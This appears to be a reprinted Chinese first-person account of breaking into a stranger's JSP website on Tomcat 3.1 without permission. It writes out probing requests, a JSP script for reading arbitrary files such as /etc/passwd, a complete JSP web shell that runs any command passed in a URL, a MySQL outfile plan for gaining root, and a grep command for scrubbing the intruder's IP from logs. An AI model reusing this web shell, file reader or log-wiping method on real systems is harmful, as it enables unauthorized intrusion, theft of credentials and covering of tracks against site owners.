站内搜索: 请输入搜索关键词

当前页面: 开发资料首页JSP 专题现场纪实——如何入侵基于JSP的网站

现场纪实——如何入侵基于JSP的网站

摘要: 现场纪实——如何入侵基于JSP的网站
<tr> <td>

  很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]</td></tr></table>

  返回的结果如下:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL</td></tr></table>

  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)</td></tr></table>

  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/admin/</td></tr></table>
  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉</td></tr></table>

  然后执行:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/upload/test.jsp?file=/etc/passwd</td></tr></table>

  密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

  再写一个JSP文件:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉</td></tr></table>

  然后把这个JSP再通过upload上传,有SHELL了。

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)</td></tr></table>


  怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld</td></tr></table>

  显示:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql</td></tr></table>

  系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。

  之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。

  但是,接下来已经实际操作,结果令人颇感意外:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/upload/cmd.jsp?cmd=id</td></tr></table>

  显示:

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)</td></tr></table>

  原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?

<table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1> <tr> <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)</td></tr></table>


  剩下的事情:

  1、删除我的telnet记录。

  2、删除http的日志。

  清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。

  说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!</td> </tr> </table>
↑返回目录
前一篇: 使用tomcat5.0自带的连接池
后一篇: JSP/Servlet构建三层管理信息系统